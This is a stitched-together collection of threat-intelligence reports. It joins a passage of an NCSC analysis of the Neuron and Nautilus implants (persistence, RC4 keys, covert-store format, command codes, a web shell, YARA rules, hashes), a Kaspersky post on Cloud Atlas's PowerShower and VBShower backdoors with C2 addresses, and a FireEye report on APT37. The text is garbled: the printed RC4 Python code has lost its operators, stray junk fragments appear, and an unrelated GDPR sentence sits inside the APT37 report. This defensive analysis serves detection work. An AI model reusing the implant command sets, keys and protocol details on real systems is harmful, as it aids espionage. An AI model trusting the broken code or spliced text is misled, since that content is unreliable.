Instead, the dropper handles this for the client by creating a scheduled task, enabling it to persist after a reboot.
The task is scheduled to run every 12 minutes (PT12M), with a task ID of Microsoft Corporation and a task description constructed from a string retrieved from a randomly selected registry value.
To build the task description, a list of value names of length 9 or greater but not containing \ are retrieved from HKLM\\Software\\Microsoft registry.
One of these values is selected and prefixed to the string  updater.
This is then used as the description for the scheduled task.
TLP WHITE TLP WHITE Page 12 of 27 Configuration The Neuron client configuration is stored in the registry as JSON it must be set up by the dropper before the client is run as no defaults are specified.
The configuration includes the domains where Neuron service implants have been deployed, so that the client can communicate with them.
The configuration also specifies a beacon interval for each domain, along with a keep alive interval and time wait interval.
An example of the server configuration in JSON representation, taken from a Neuron client dropper, is as follows: Network Communications Communications are detailed in the Neuron service section.
The Neuron client and service primarily communicate via HTTP requests.
As an extra layer of security, the client RC4 encrypts any data being sent.
The key used is the Machine GUID retrieved from the registry (SOFTWARE\Microsoft\Cryptography\MachineGuid) if this is not set then the default key 8d963325-01b8-4671-8e82-d0904275ab06 is used.
Connect: [  URL: https://removed/ews/exchange/exchange.asmx, Interval: 17 , URL: https://removed//ews/exchange/exchange.asmx, Interval: 32   ], KeepAliveInterval: 7, CmdTimeWait: 5 TLP WHITE TLP WHITE Page 13 of 27 Capability Once loaded the Neuron Client will loop indefinitely, performing a sync of storage files with the Neuron service.
The interval between synchronisations is specified in the configuration by the CmdTimeWait value.
In order to synchronise with the service, the client will retrieve all local StorageFile objects and all StorageFiles on the service (without file data) and compare these for differences.
The client retrieves the StorageFiles from the service by sending a POST request with the following data within the parameter cadata: This is encrypted with RC4 and then base64 encoded before being sent.
The service will respond with a list of all StorageFile metadata (i.e.
name and date of each StorageFile).
This is then used to determine which StorageFiles the client is missing, as well as any files which the service is missing.
The client will send any required files (including file data) to the service by sending the following command data: Where a storage file object has a JSON representation as follows: Finally, the client will download all missing StorageFiles from the service by sending the following command data:  cmd: 0, data:   cmd: 1, data: [ list_of_storage_files ]   name: name, data: data, date: date   cmd: 2, data: array_of_request_storage_files  TLP WHITE TLP WHITE Page 14 of 27 Where the sent data contains the required StorageFile names, as follows: These new files are then written to disk, and added to the clients list of StorageFiles.
[
name: storage.file.1 ,  name: storage.file.2  ] TLP WHITE TLP WHITE Page 15 of 27 Nautilus Nautilus is very similar to Neuron both in the targeting of mail servers and how client communications are performed.
This malware is referred to as Nautilus due to its embedded internal DLL name nautilus-service.dll, again sharing some resemblance to Neuron.
The main payload and configuration of Nautilus is encrypted within a covert store on disk which is located in \ProgramData\Microsoft\Windows\Caches\.
The loader DLL will access this covert store to decrypt the payload (oxygen.dll), which is then loaded into a target process via reflective loading.
The Nautilus service listens for HTTP requests from clients to process tasking requests such as executing commands, deleting files and writing files to disk.
Associated Files Name dcomnetsrv.dll Description Nautilus Loader DLL MD5 2f742ec3bb7590602bc3e97326f2476a SHA1 9d280e3ef1b180449086dda5b92a7b9bbe63dee4 SHA256 a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 Size 121344 Name oxygen.dll Description Nautilus Injected payload MD5 ea874ac436223b30743fc9979eed5f2f SHA1 5ed61ec7de11922582f07c3488ef943b439ee226 SHA256 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8 Size 620568 Persistence Nautilus achieves persistence by running as a service, dcomnetsrv, which is set to automatically start.
It is very likely that this is established by the Nautilus dropper, similar to the Neuron service dropper however, the NCSC has not yet analysed a sample of this file.
Configuration The configuration for Nautilus is stored encrypted within a covert store that was located in \ProgramData\Microsoft\Windows\Caches\.
TLP WHITE TLP WHITE Page 16 of 27 The server configuration block, which defines the port and URL for Nautilus to listen on, is passed in the identifier config_listen.system.
A sample configuration is shown below: protohttps host port443 paramOWA-AUTODISCOVER-EWS Nautilus also stores several other pieces of contextual information within the covert store under the identifier ctx.system, including an RSA public key: -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg4r6SSnj2PnYbe6C4H8c M7162eRSRTE8BYW8cTGdFPSiDiVOblImyddBLu/fW7MScBUsmg2l9SVyvJrHJk 0xnr7PRH9Dq7IcTYzQPMSsG1nC2Lej09EtilKwAQP08MIpiredzgXwom3rlH0Trc HiKxjLhQcuK0Mllsq54gYPaoi6LkZG/lUxhWuGI1M2i3/dHp40vbwaaL5Sotxuv jSytDsU75U5TrCAHVMykiLi/x7PKg40JQoYGMSOPUJsx87i/uy3uHoecl2ns038 b70Gh6KJ4x5mwaKjMRsSm8PUN6ccHSyqetpXuTXoKU5dEDIQLNAwXTZY40d/aTEx uQIDAQAB -----END PUBLIC KEY----- The covert store uses a proprietary format to store data.
This format stores separate streams (i.e.
one for the config and one for the context) with each split into chunks of 4096 bytes and encrypted using RC4.
The offset to the next chunk is calculated by taking the decrypted int value at offset 0xFF8 of the decrypted chunk, shifting this left by 0xC and then adding 0x10000.
For the first chunk, this initial int value is at offset 0xB4 of the header.
A default RC4 key is used to decrypt the first chunk this key is hardcoded into Nautilus as 1B1440D90FC9BCB46A9AC96438FEEA8B but is passed into a function that trims the length to 31 bytes, resulting in the final 32 byte initial RC4 key being 1B1440D90FC9BCB46A9AC96438FEEA8\x00.
The RC4 implementation used for encryption of the covert store has been modified from a standard implementation.
This may be an attempt to frustrate decryption however, it is easily spotted when reverse engineering the sample.
TLP WHITE TLP WHITE Page 17 of 27 The following Python implementation duplicates the modified RC4 XOR loop: A covert store can be identified by RC4 decrypting the 4 bytes at offset 0xFFFC with the default RC4 key followed by comparison with the magic bytes 0x3a29bd32.
Communications Communication with clients is performed in a similar fashion to Neuron.
Nautilus listens for incoming connections from clients on port 443 that are addressed to the URL /OWA-AUTODISCOVER-EWS this URL path could be modified.
Nautilus is commonly installed on a victim mail server, enabling the pre-installed TLS configuration to be used.
Data sent to the service is encoded in the referrer header, which is masquerading as a legitimate Bing search.
The format string used to create this is as follows: Referer: http://www.bing.com/search?qsgoSubmitqsnpqssc0-11sp- 1skcvidsfirst21FORMs def rc4(data, key): x  0 box  range(256) for i in range(256): x(x  box[i]  ord(key[ilen(key)]))  256 box[i], box[x]  box[x], box[i] out  [] key  [] i  box[1] j  box[i] box[i]  i box[1]  j for char in data: sbb  box[i  256] i  1 sbb  j kb  box[sbb  256] out.append(chr(ord(char)  kb)) return .join(out) TLP WHITE TLP WHITE Page 18 of 27 Capability The malware can take commands from connecting clients to perform on the infected host.
The commands take the format O_001, O_002 and so on.
A subset of these commands allow Nautilus to be tasked with the following: O_001: Execute a cmd.exe command O_002: Read file O_003: Write file O_007: Delete file O_008: GetTempPathA O_009: Sleep O_010: Create directory O_011: Check if directory O_012 Duplicate of O_011 There also appear to be some separately processed commands containing the following functionality: O_100 Shutdown (implant) O_101 Uninstall TLP WHITE TLP WHITE Page 19 of 27 ErrorFE.aspx Alongside the Neuron and Nautilus toolkits, the NCSC identified a file named errorFE.aspx.
This file was installed on a number of victims following the successful exploitation of web application software, and provides additional persistence to enable the deployment of further tools.
The script defines its working directory as the value of the Windows environment variable temp, using this location to drop and execute files and collect data.
This script accepts web requests and extracts the cookie parameter valid data in the cookie is base64 encoded and AES encrypted using hardcoded values.
The script supports the processing of multiple cookies from a single request, indicating it is possible to issue multiple commands in a single request.
When the cookie value is decoded and decrypted, the script expects one of the following commands followed by any additional parameters: Command Function put Accepts a file name and writes the contents of data request parameter to a file in the working directory update Overwrites the shell itself with the content of the data request parameter time Updates the timestamp on a specific file with a specified timestamp (creation, last write and access).
cmd Executes a provided command using cmd.exe del Deletes a specified file get Gets a specified filename from the working directory and returns its contents to the requestor TLP WHITE TLP WHITE Page 20 of 27 Appendix A Neuron Client File Name neuron-client.exe Description Neuron Client File Size (bytes) 55808 MD5 4ed42233962a89deaa89fd7b989db081 SHA1 cf731ee0af5c19231ff51af589f7434c0367d508 SHA256 a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873 File Name Sign.exe Description Dropper for the Neuron Client File Size (bytes) 115712 MD5 3cd5fa46507657f723719b7809d2d1f9 SHA1 34ddc14b9a04eba98c3aa1cb27033e12ec847e03 SHA256 a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9 File Name mydoc.doc Description Macro document that drops and runs Sign.exe (client dropper) File Size (bytes) 591360 MD5 66f4f1384105ce7ee1636d34f2afb1c9 SHA1 3f23d152cc7badf728dfd60f6baa5c861a500630 SHA256 42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b File Name N/A Description Macro document that drops and runs Sign.exe (client dropper) File Size (bytes) 590336 MD5 0e430b6b203099f9c305681e1dcff375 SHA1 845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1 SHA256 bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8 TLP WHITE TLP WHITE Page 21 of 27 Neuron Service File Name Microsoft.
Exchange.
Service.exe Description Neuron Service File Size (bytes) 43008 MD5 0f12268221e27406351a6313f902b498 SHA1 b0dbdc81a0e367330007b7e593d8dabf92ca7afd SHA256 d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 File Name w3wpdiag.exe Description Neuron Service File Size (bytes) 59392 MD5 371b4380080e3d94ffcae1a7e9a0d5e2 SHA1 f7088075d1c798f27b0d269c97dc877ff16f1401 SHA256 2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353 File Name Updater.exe Description Neuron Service File Size (bytes) 44544 MD5 8229622a9790d75e09a099e8758d5703 SHA1 10586913ceeecd408da4e656c29ed4e91c6b758e SHA256 2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10 File Name w3wpdiag.exe Description Neuron Service File Size (bytes) 58880 MD5 a3bdc385cf68019449027bd6d8cecb4d SHA1 fe8da5a1e62a8d4f627834b0f26c802a330d8d45 SHA256 0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259 File Name dropper-svc.exe Description Dropper for the Neuron service File Size (bytes) 85008 MD5 d6ef3c8f2c3f3ddffbb70f5dadfa982c SHA1 934b288075c122165897276b360c61e77cb7bde0 SHA256 fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb TLP WHITE TLP WHITE Page 22 of 27 Neuron Yara rule neuron_common_strings meta: description  Rule for detection of Neuron based on commonly used strings author  NCSC UK hash  d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 strings: strServiceName  MSExchangeService ascii strReqParameter_1  cadataKey wide strReqParameter_2  cid wide strReqParameter_3  cadata wide strReqParameter_4  cadataSig wide strEmbeddedKey PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNm clpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVb HlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZH VsdXMPEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU wide strDefaultKey  8d963325-01b8-4671-8e82-d0904275ab06 wide strIdentifier  MSXEWS wide strListenEndpoint  443/ews/exchange/ wide strB64RegKeySubstring  U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo wide strName  neuron_service ascii dotnetMagic  BSJB ascii condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and dotnetMagic and 6 of (str)  TLP WHITE TLP WHITE Page 23 of 27 rule neuron_standalone_signature meta: description  Rule for detection of Neuron based on a standalone signature from .NET metadata author  NCSC UK hash  d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 strings: a eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d128121 1d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211 d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281 dotnetMagic  BSJB ascii condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and all of them  TLP WHITE TLP WHITE Page 24 of 27 rule neuron_functions_classes_and_vars meta: description  Rule for detection of Neuron based on .NET function, variable and class names author  NCSC UK hash  d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 strings: class1  StorageUtils ascii class2  WebServer ascii class3  StorageFile ascii class4  StorageScript ascii class5  ServerConfig ascii class6  CommandScript ascii class7  MSExchangeService ascii class8  W3WPDIAG ascii func1  AddConfigAsString ascii func2  DelConfigAsString ascii func3  GetConfigAsString ascii func4  EncryptScript ascii func5  ExecCMD ascii func6  KillOldThread ascii func7  FindSPath ascii var1  CommandTimeWait ascii dotnetMagic  BSJB ascii condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and dotnetMagic and 6 of them  TLP WHITE TLP WHITE Page 25 of 27 Nautilus File Name dcomnetsrv.dll Description Nautilus Loader DLL File Size (bytes) 121344 MD5 2f742ec3bb7590602bc3e97326f2476a SHA1 9d280e3ef1b180449086dda5b92a7b9bbe63dee4 SHA256 a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 File Name oxygen.dll Description Nautilus Injected payload File Size (bytes) 620568 MD5 ea874ac436223b30743fc9979eed5f2f SHA1 5ed61ec7de11922582f07c3488ef943b439ee226 SHA256 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8 Nautilus Yara rule nautilus_modified_rc4_loop meta: description  Rule for detection of Nautilus based on assembly code for a modified RC4 loop author  NCSC UK hash  a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 strings: a  42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9 condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and a  TLP WHITE TLP WHITE Page 26 of 27 rule nautilus_rc4_key meta: description  Rule for detection of Nautilus based on a hardcoded RC4 key author  NCSC UK hash  a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 strings: key  31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42 condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and key  rule nautilus_common_strings meta: description  Rule for detection of Nautilus based on common plaintext strings author  NCSC UK hash  a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 strings: nautilus-service.dll ascii oxygen.dll ascii config_listen.system ascii ctx.system ascii 3FDA3998-BEF5-426D-82D8-1A71F29ADDC3 ascii C:\\ProgramData\\Microsoft\\Windows\\Caches\\s.2.ver0x0000000000000001.db ascii condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and 3 of them  TLP WHITE TLP WHITE Page 27 of 27 Additional Indicators for Forensic Analysis The following indicators can be used to search for the presence of Neuron and Nautilus malware within forensic analysis tools.
zf(-1, zf(-2, instructions:[type: App_Web_juvjerf3.dll App_Web_vcplrg8q.dll ar_all2.txt ar_sa.txt Convert.
FromBase64String(temp[1]) D68gq5p0(3Ndsk dx11.exe ERRORF1.ASP errorFE.aspx errorfe.aspx.f5dba9b9.compiled intelliAdminRpc J8fs4F4rnP7nFlf lsa.exe Msnb.exe msrpc.exe Neuron_service owa.exe owa_ar2.bat rexec.exe payload.x64.dll.system service.x64.dll.system
By GReAT Recent Cloud Atlas activity securelist.com/recent-cloud-atlas-activity/92016 Also known as Inception, Cloud Atlas is an actor that has a long history of cyber-espionage operations targeting industries and governmental entities.
We first reported Cloud Atlas in 2014 and weve been following its activities ever since.
From the beginning of 2019 until July, we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia, Central Asia and regions of Ukraine with ongoing military conflicts.
Countries targeted by Cloud Atlas recently Cloud Atlas hasnt changed its TTPs (Tactic Tools and Procedures) since 2018 and is still relying on its effective existing tactics and malware in order to compromise high value targets.
The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims.
These emails are crafted with Office documents that use malicious remote templates  whitelisted per victims  hosted on remote servers.
We described one of the techniques used by Cloud Atlas in 2017  and our colleagues at Palo Alto Networks also wrote about it in November 2018.
Previously, Cloud Atlas dropped its validator implant named PowerShower directly, after exploiting the Microsoft Equation vulnerability (CVE-2017-11882) mixed with CVE-2018-0802.
During recent months, we have seen a new infection chain, involving a polymorphic HTA, a 1/5 https://securelist.com/recent-cloud-atlas-activity/92016/ https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/08/09151317/Recent-Cloud-Atlas-activity-1.png https://securelist.com/an-undocumented-word-feature-abused-by-attackers/81899/ https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/08/12084702/20190808_Infographics_Cloud_Atlas_Schema_2-5.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/08/12084643/20190808_Infographics_Cloud_Atlas_Schema_2.png new and polymorphic VBS implant aimed at executing PowerShower, and the Cloud Atlas second stage modular backdoor that we disclosed five years ago in our first blogpost about them and which remains unchanged.
Lets meet PowerShower PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer.
This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage.
The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower.
The PowerShower backdoor  even in its later developments  takes three commands: Command Description 0x80 (Ascii P) It is the first byte of the magic PK.
The implant will save the received content as a ZIP archive under TEMP\PG.zip.
0x79 (Ascii O) It is the first byte of On resume error.
The implant saves the received content as a VBS script under APPDATA\Microsoft\Word\[A-Za-z]4.vbs and executes it by using Wscript.exe Default If the first byte doesnt match 0x80 or 0x79, the content is saved as an XML file under TEMP\temp.xml.
After that, the script loads the content of the file, parses the XML to get the PowerShell commands to execute, decodes them from Base64 and invokes IEX.
After executing the commands, the script deletes TEMP\temp.xml and sends the content of TEMP\pass.txt to the C2 via an HTTP POST request.
A few modules deployed by PowerShower have been seen in the wild, such as: A PowerShell document stealer module which uses 7zip (present in the received PG.zip) to pack and exfiltrate .txt, .pdf, .xls or .doc documents smaller than 5MB 2/5 https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ modified during the last two days A reconnaissance module which retrieves a list of the active processes, the current user and the current Windows domain.
Interestingly, this feature is present in PowerShower but the condition leading to the execution of that feature is never met in the recent versions of PowerShower A password stealer module which uses the opensource tool LaZagne to retrieve passwords from the infected system.
We havent yet seen a VBS module dropped by this implant, but we think that one of the VBS scripts dropped by PowerShower is a dropper of the groups second stage backdoor documented in our article back in 2014.
And his new friend, VBShower During its recent campaigns, Cloud Atlas used a new polymorphic infection chain relying no more on PowerShower directly after infection, but executing a polymorphic HTA hosted on a remote server, which is used to drop three different files on the local system.
A backdoor that we name VBShower which is polymorphic and replaces PowerShower as a validator A tiny launcher for VBShower A file computed by the HTA which contains contextual data such as the current user, domain, computer name and a list of active processes.
This polymorphic infection chain allows the attacker to try to prevent IoC-based defence, as each code is unique by victim so it cant be searched via file hash on the host.
3/5 https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ The VBShower backdoor has the same philosophy of the validator version of PowerShower.
Its aim is to complicate forensic analysis by trying to delete all the files contained in APPDATA\..\Local\Temporary Internet Files\Content.
Word and APPDATA\..\Local Settings\Temporary Internet Files\Content.
Word\.
Once these files have been deleted and its persistence is achieved in the registry, VBShower sends the context file computed by the HTA to the remote server and tries to get via HTTP a VBS script to execute from the remote server every hour.
At the time of writing, two VBS files have been seen pushed to the target computer by VBShower.
The first one is an installer for PowerShower and the second one is an installer for the Cloud Atlas second stage modular backdoor which communicates to a cloud storage service via Webdav.
Final words Cloud Atlas remains very prolific in Eastern Europe and Central Asia.
The actors massive spear-phishing campaigns continue to use its simple but effective methods in order to compromise its targets.
4/5 Unlike many other intrusion sets, Cloud Atlas hasnt chosen to use open source implants during its recent campaigns, in order to be less discriminating.
More interestingly, this intrusion set hasnt changed its modular backdoor, even five years after its discovery.
IoCs Some emails used by the attackers infocentre.govmail.ru middleeasteyeasia.com simbf2019mail.ru world_overviewpolitician.com infocentre.govbk.ru VBShower registry persistence Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[a-f0-9A-F]8 Value : wscript //B APPDATA\[A-Za-z]5.vbs VBShower paths APPDATA\[A-Za-z]5.vbs.dat APPDATA\[A-Za-z]5.vbs APPDATA\[A-Za-z]5.mds VBShower C2s 176.31.59.232 144.217.174.57 5/5 https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ Recent Cloud Atlas activity Lets meet PowerShower And his new friend, VBShower Final words IoCs Some emails used by the attackers VBShower registry persistence VBShower paths VBShower C2s
The Overlooked North Korean Actor SPECIAL REPORT PY APT37 (REAPER) CONTENTS Introduction 3 Targeting and Mission 4 Initial Infection Vectors 7 Exploited Vulnerabilities 8 Command and Control Infrastructure 9 Malware 10 Attribution 12 Outlook and Implications 13 Appendix: Malware Used by APT37 14 INTRODUCTION On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper).
Recent examination of this groups activities by FireEye iSIGHT Intelligence reveals APT37 has expanded its operations in both scope and sophistication.
APT37s toolset, which includes access to zero-day vulnerabilities and wiper malware, combined with heightened tensions in Northeast Asia and North Koreas penchant for norm breaking, means this group should be taken seriously.
We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests.
FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123.
SPECIAL REPORT2 APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR 3 We judge that APT37s primary mission is covert intelligence gathering in support of North Koreas strategic military, political and economic interests.
This is based on consistent targeting of South Korean public and private entities and social engineering.
APT37s recently expanded targeting scope also appears to have direct relevance to North Koreas strategic interests.
From 2014 to 2017, APT37 targeting concentrated primarily on the South Korean government, military, defense industrial base, and media sector.
Lure materials (Fig.
2) typically leveraged the Korean language and featured themes such as Korean peninsula reunification or sanctions.
Figure 2.
2016 Korean Reunification Conference Form (MD5:183be2035d5a546670d2b9deeca4eb59).
APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea.
In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities (Fig.
1).
Targeting and Mission Figure 1.
APT37 Targeting Scope.
SPECIAL REPORT4 5APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR APT37 targeted a research fellow, advisory member, and journalist associated with different North Korean human rights issues and strategic organizations.
It also targeted an entity in Japan associated with the United Nations missions on sanctions and human rights.
APT37 distributed SLOWDRIFT malware using a lure referencing the Korea Global Forum against academic and strategic institutions located in South Korea.
Notably, the email was sent from a compromised South Korean institute that conducts studies on North Korea.
The string durihana, which is also the name of a Christian missionary organization that works with North Korean defectors, was included in an APT37 weaponized document sent to an individual who works with a North Korean human rights organization.
In 2017, APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country (read on for a case study).
At that time, other targets included individuals involved in international affairs and trade issues, the general director of a Vietnamese international trading and transport company, and possibly individuals working with Olympics organizations assisting in securing resources for athletes.
North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea.
In May 2017, APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company.
The specially crafted email included an attachment containing exploit code for CVE-2017- 0199, a vulnerability in Microsoft Office that had been disclosed just a month earlier.
Once opened, the malicious document communicated with a compromised website, most likely to surreptitiously download and install a backdoor called SHUTTERSPEED (MD5: 7c2ebfc7960aac6f8d58b37e3f092a9c).
The tool would enable APT37 to collect system information, take screenshots and download additional malicious files to the victim computer.
CASE STUDY: Targeting of Middle Eastern Organization with Business ties to North Korea We believe a Middle Eastern organization was targeted by APT37 because it had been involved with a North Korean company and a business deal went bad.
This firm was targeted shortly after media reports of this schism had gone public.
The targeting effort may have been an attempt by the North Korean government to gather information on a former business partner.
The operation exemplifies APT37s tactics, techniques and procedures (TTPs), and reflects the advanced capabilities of this espionage group.
Initial Infection Vectors In addition to the aforementioned spear phishing tactics, APT37 leverages a variety of methods to deliver malware.
These include strategic web compromises typical of targeted cyber espionage operations, as well as the use of torrent file-sharing sites to distribute malware more indiscriminately.
Numerous campaigns have employed social engineering tactics tailored specifically to desired targets.
Lures and websites of particular interest to South Korean organizations (e.g.
reunification) are regularly leveraged in campaigns.
Multiple South Korean websites were abused in strategic web compromises to deliver newer variants of KARAE and POORAIM malware.
Identified sites included South Korean conservative media and a news site for North Korean refugees and defectors.
In one instance, APT37 weaponized a video downloader application with KARAE malware that was indiscriminately distributed to South Korean victims through torrent websites.
The GDPR will change the whole world as we know it.
SPECIAL REPORT6 7APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN 2018 2017 2016 2015 2014 CVE-2018-4878 (Zero-day vulnerability) CVE-2017-0199 CVE-2013-4979 CVE-2013-4979 CVE-2015-2387 CVE-2015-2545 CVE-2015-7645 CVE-2015-5122 CVE-2016-4117 CVE-2014-8439 CVE-2016-1019 CVE-2015-5119 CVE-2015-2419 CVE-2015-3105 CVE Release Date Exploit Figure 3.
Timeline of CVE Release Dates vs.
Dates of APT37 CVE Exploitation.
Exploited Vulnerabilities APT37 frequently exploits vulnerabilities in Hangul Word Processor (HWP) due to the softwares prevalence in South Korea.
Further, the group recently demonstrated access to zero-day vulnerabilities (CVE-2018-0802) and has the flexibility to quickly incorporate recently publicized vulnerabilities into spear phishing and strategic web compromise operations.
These capabilities suggest a high operational tempo and specialized expertise.
APT37 has repeatedly deployed exploits, especially in Flash, quickly after vulnerabilities are initially publicized (see Table 1).
CVE-2016-4117, CVE- 2016-1019 and CVE-2015-3043 were all exploited by APT37 in this way.
FireEye iSIGHT Intelligence confirmed that since at least November 2017, APT37 exploited a zero-day Adobe Flash vulnerability, CVE-2018-4878, to distribute DOGCALL malware to South Korean victims.
While use and discovery of zero-day exploits over the past several years has expanded beyond a nation-state dominated environment to include commercial vendors of cyber espionage capabilities and sophisticated financially motivated actors, access to zero-day exploits remains a factor in distinguishing sophisticated or well-resourced actors.
Figure 3 details the vulnerabilities exploited by APT37, comparing the time of exploitation to the time the CVE was released.
Command and Control Infrastructure APT37 uses a variety of techniques for command and control.
They leverage compromised servers, messaging platforms and cloud service providers to avoid detection.
The group often relies on compromised sites to host second stage malware payloads.
Over time, APT37 has changed the email providers to set up command and control accounts in a possible attempt to cover their tracks and cause misdirection.
These tactics have been refined over the years as APT37 evolves to evade network defenders.
APT37 has used various legitimate platforms as command and control for its malware tools.
While some early campaigns leveraged POORAIM, which abused AOL Instant Messenger, newer activity deploys DOGCALL, which uses cloud storage APIs such as pCloud and Dropbox.
APT37 relies on compromised websites to host second stage malware.
Small websites focused on subjects such as aromatherapy and scuba diving have been leveraged, and were most likely compromised opportunistically and made to host malicious payloads.
APT37 has improved its operational security over time.
For example, early 2015 use of SLOWDRIFT involved credentials associated with Korea related mail servers such as Daum.net.
Later, in 2015 and early 2016, APT37 pivoted to different email providers such as Gmail and hmamail.com in an attempt to anonymize activity.
Then from mid-2016 onward, APT37 began using yandex.com and india.com email accounts -- possibly an attempt to cause misattribution.
SPECIAL REPORT8 9APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR APT37 employs a diverse suite of malware for initial intrusion and exfiltration.
Their malware is characterized by a focus on stealing information from victims, with many set up to automatically exfiltrate data of interest.
Figure 4 shows APT37s malware usage over time.
A full breakdown of the malware we associate with APT37, along with how it is detected by FireEye devices, is available in the Appendix.
Malware 2015 2016 2017 2018 JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC JAN KARAE SOUNDWAVE ZUMKONG RICECURRY CORALDECK POORAIM SLOWDRIFT MILKDROP GELCAPSULE DOGCALL HAPPYWORK RUHAPPY SHUTTERSPEED WINERACK Figure 4.
Timeline of APT37 Malware Use By First and Last Observed Compile Times.
Along with custom malware used for espionage purposes, APT37 also has access to destructive malware.
In April 2017, APT37 targeted South Korean military and government organizations with the DOGCALL backdoor and RUHAPPY wiper malware.
Although the wiper capability was not used in the identified instance, RUHAPPY can overwrite a machines Master Boot Record (MBR), causing the system to fail to boot into preconfigured partitions.
It is possible that APT37s distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service (DDoS) attacks, or for other activity such as financially motivated campaigns or disruptive operations.
